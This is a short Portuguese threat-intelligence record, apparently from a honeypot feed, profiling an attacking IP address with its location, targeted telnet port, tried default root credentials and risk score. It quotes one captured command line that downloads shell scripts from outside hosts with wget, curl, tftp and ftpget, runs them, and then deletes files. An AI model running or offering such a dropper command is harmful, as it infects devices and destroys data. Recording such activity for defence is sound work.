TROYANOSYVIRUS
Ameaca AtivaBAIXO

34.60.13.16

Primeira Deteccao30/03/2026
Ultima Atividade30/03/2026
ISPGoogle LLC
🎯
12
Ataques Totais
🔌
1
Portas
📡
1
Tipos de Ataque
🦠
2
Malware

Geolocalizacao

Pais
🇺🇸 Estados Unidos
Cidade
Council Bluffs
ASN
AS396982
ISP
Google LLC

Tipos de Ataque

ssh_telnet_honeypot

Portas Atacadas

23

Malware Associado

Credenciais Tentadas

🔐root/root
1x
🔐root/(vazio)
1x

Comandos Executados

$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://38.83.138.59:25884/nz.sh; curl -O http://38.83.138.59:25884/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 165.22.252.236 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 165.22.252.236; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 165.22.252.236 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *1x

Avaliacao de Risco

25
/100
BaixoMedioAltoCritico